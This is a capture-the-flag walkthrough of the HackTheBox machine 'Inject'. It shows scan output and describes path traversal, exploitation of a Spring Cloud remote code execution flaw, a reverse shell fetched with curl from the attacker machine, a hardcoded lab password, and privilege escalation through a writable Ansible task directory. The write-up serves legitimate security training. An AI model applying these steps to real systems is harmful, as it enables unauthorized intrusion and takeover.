HTB — Inject

9 min readJul 9, 2023

A detailed walkthrough for solving Inject on HTB. The box contains vulnerability like Path Traversal, Hardcoded Credentials, Credential Reuse, and privilege escalation through Ansible.

Enumeration

NMAP

Let’s start with an NMAP Scanning to enumerate open ports and the services running on the IP.

nmap -sC -sV -oA nmap/10.10.11.204 10.10.11.204 -vv

PORT     STATE SERVICE     REASON  VERSION
22/tcp   open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKZNtFBY2xMX8oDH/EtIMngGHpVX5fyuJLp9ig7NIC9XooaPtK60FoxOLcRr4iccW/9L2GWpp6kT777UzcKtYoijOCtctNClc6tG1hvohEAyXeNunG7GN+Lftc8eb4C6DooZY7oSeO++PgK5oRi3/tg+FSFSi6UZCsjci1NRj/0ywqzl/ytMzq5YoGfzRzIN3HYdFF8RHoW8qs8vcPsEMsbdsy1aGRbslKA2l1qmejyU9cukyGkFjYZsyVj1hEPn9V/uVafdgzNOvopQlg/yozTzN+LZ2rJO7/CCK3cjchnnPZZfeck85k5sw1G5uVGq38qcusfIfCnZlsn2FZzP2BXo5VEoO2IIRudCgJWTzb8urJ6JAWc1h0r6cUlxGdOvSSQQO6Yz1MhN9omUD9r4A5ag4cbI09c1KOnjzIM8hAWlwUDOKlaohgPtSbnZoGuyyHV/oyZu+/1w4HJWJy6urA43u1PFTonOyMkzJZihWNnkHhqrjeVsHTywFPUmTODb8=
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUJSpBOORoHb6HHQkePUztvh85c2F5k5zMDp+hjFhD8VRC2uKJni1FLYkxVPc/yY3Km7Sg1GzTyoGUxvy+EIsg=
|   256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICZzUvDL0INOklR7AH+iFw+uX+nkJtcw7V+1AsMO9P7p
8080/tcp open  nagios-nsca syn-ack Nagios NSCA
|_http-title: Home
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports 22 and 8080 are open which are for SSH and HTTP. On exploring the web application, we cannot find any interesting pages other than upload.

Directory Enumeration

Gobuster

gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

/register             (Status: 200) [Size: 5654]
/blogs                (Status: 200) [Size: 5371]
/upload               (Status: 200) [Size: 1857]
/environment          (Status: 500) [Size: 712] 
/error                (Status: 500) [Size: 106] 
/release_notes        (Status: 200) [Size: 1086]
/http%3A%2F%2Fwww     (Status: 400) [Size: 435] 
/show_image           (Status: 400) [Size: 194]

Dirsearch

python3 dirsearch.py -u http://10.10.11.204:8080/


[21:09:57] Starting: 
[21:10:28] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[21:10:30] 400 -  435B  - /a%5c.aspx
[21:11:05] 200 -    5KB - /blogs
[21:11:24] 500 -  106B  - /error
[21:11:24] 500 -  106B  - /error/
[21:12:17] 200 -    6KB - /register
[21:12:41] 200 -    2KB - /upload/
[21:12:41] 200 -    2KB - /upload

No interesting directories were discovered on the application other than upload. Let’s navigate to upload wep page and see if we could find any interesting vulnerabilities.

Initial Access

Open the web application http://10.10.11.204:8080 and navigate to upload section. I tried to upload multiple files of different backend like PHP, JSP, ASPX since there no any information regarding the backend server provided. But none of the techniques were successful. I tried to upload the normal image file to analyze the flow of the upload functionality on web application.

Upload a simple image file, JPG, JPEG or PNG.

On successful upload, we can find a hyperlink showing View your image. Click on that hyperlink to view the image.

It is possible to access the uploaded image by using a new web path called “show_image” and specifying the image parameter to retrieve it from the server. In this situation, various types of attack vectors such as Local File Inclusion, Remote File Inclusion, and Path Traversal can be attempted.

Intercept the request in Burp and forward it to the repeater.

Using Burp Intruder, we will attempt to brute force the img parameter by sending multiple payloads for Path Traversal and Inclusion, in order to find potential vulnerabilities.

Click on Add from list option on the burp suite and click the path traversal payloads.

Uncheck the URL encode key characters and start the attack.

In the above image, we can see that some payloads were successful and returned 200 OK status with the value of /etc/hosts, send one of the request in repeater and verify manually.

Replace payloads with ../../../../../../../../../../var/www/ to view if the web application contains any sensitive information. We can also confirm that the application is vulnerable to Path Traversal since it is listing the directories contained on the directory, in case of File Inclusion, we should have supplied the full path of the file.

Navigate to /var/www/WebApp/ directory, we can see that it contains pom.xml file. The pom.xml file is an XML file used in Apache Maven, a popular build automation and project management tool for Java-based projects. The file is typically located in the root directory of a project and contains information about the project, such as its dependencies, build settings, and plugin configurations.

On viewing the pom.xml file we can see some dependencies related to spring-boot framework. We know that spring-book framework version 2.6.5 is vulnerable to multiple remote code execution vulnerability as shown in the image below but I was not successful on exploiting any of the available payloads.

I began to view other dependencies on the pom.xml file and found spring-framework.cloud implementing version 3.2.2 which is vulnerable to CVE-2022–22963: Spring Cloud Remote Code Execution.

We can view the exploit from here: https://github.com/hktalent/spring-spel-0day-poc/blob/main/README.md

We can also see that the vulnerable get paths on the frameworks are functionRouter, uppercase and lowercase. We need to find which of the paths are supported on the application.

Let’s start with /functionRouter path and insert the available payload as a HTTP header as described on the exploit above. Here we have created a simple text file inside /home/frank/ directory.

On navigating to /home/frank directory using previously identified Path Traversal vulnerability, we can verify that our code execution payload was successful by locating the relevant file within that directory.

We can do it using Curl as well.

Let’s get the reverse shell.

Tried with basic bash reverse shell but was unable to gain reverse shell.

Sometimes we need to prepand bash -c to make sure that the payload would execute on bash shell environment. I was not getting reverse shell.

Tried bunch of reverse shell payloads but I was not getting any luck in that, may be it was blocking some outgoing connections or whatever.

I tried to confirm if the outgoing connections was allowed or not by sending pin requests to my attacker machine.

ICMP packets were received which means the connections are allowed.

After that I tried with multiple command line tools supported by the box and found that it has installed the CURL command.

CURL command was successful and I got hit on my HTTP server.

If I could upload the reverse shell on the box, I might be able to execute the script there. But still I had no idea why I was not getting the connections from above reverse shell payloads.

Make a simple Bash script which contains the same reverse shell payload and host in your attacker machine.

Use the curl command to download the script into the box.

Verify if the script exists or not.

Execute the script.

Reverse connection was received and I was logged in as frank user.

Navigate into the home directory to search for user.txt file. But there was another user called phil.

Navigate to phil home directory and view the user flag but since I was logged in as frank, I did not have permission to view the text file.

In the frank home directory, we can find a hidden folder called .m2, on navigating to the .m2 directory we can find a file called settings.xml.

We can find the credentials for user phil, which is phil:DocPhillovestoInject123. You can also find this password using command below to find the passwords inside / directory. I actually identified above password file using below command.

grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null

Privilege Escalation

Tried bunch of escalation techniques but was not successful on any of them so I decided to use linpeas.

Host the linpeas on your attacker machine and download it into the box using wget command.

I found that files under /opt/automation/tasks/ was modified in last 5 minutes so decided to to view the directory.

Also, we can also see the running process with Pspy that the root user is running the ansible-playbook command with argument /opt/automation/tasks/playbook_1.yml.

I found that the directory was created to run the ansible playbook. Ansible playbook is a YAML file that defines a set of tasks to be executed on one or more remote hosts. Playbooks are a way to automate tasks such as configuration management, application deployment, and orchestration.

It looks liket the playbook_1.yml script is designed to initiate the web application and its related services.

I found that the directory tasks is owned by root and staff and and as we can see below phil is the part of group staff. This means phil has the permission to read, write and execute the files into the tasks directory.

This should not be the coincidence so I searched about the privilege escalation techniques using ansible playbook and found a handy resource. https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ansible-playbook-privilege-escalation/

Here the blog suggests that “If the target system runs automation tasks with Ansible Playbook as root and we have write permission of task files (tasks/), we can inject arbitrary commands in yaml file.”

Create a reverse shell script on the /tmp directory or you can use the same reverse shell script downloaded to the box through curl command.

Create a playbook as shown in the resource above, the playbook will just execute the reverse shell script with bash command. Download the playbook into /opt/automation/tasks/ directory.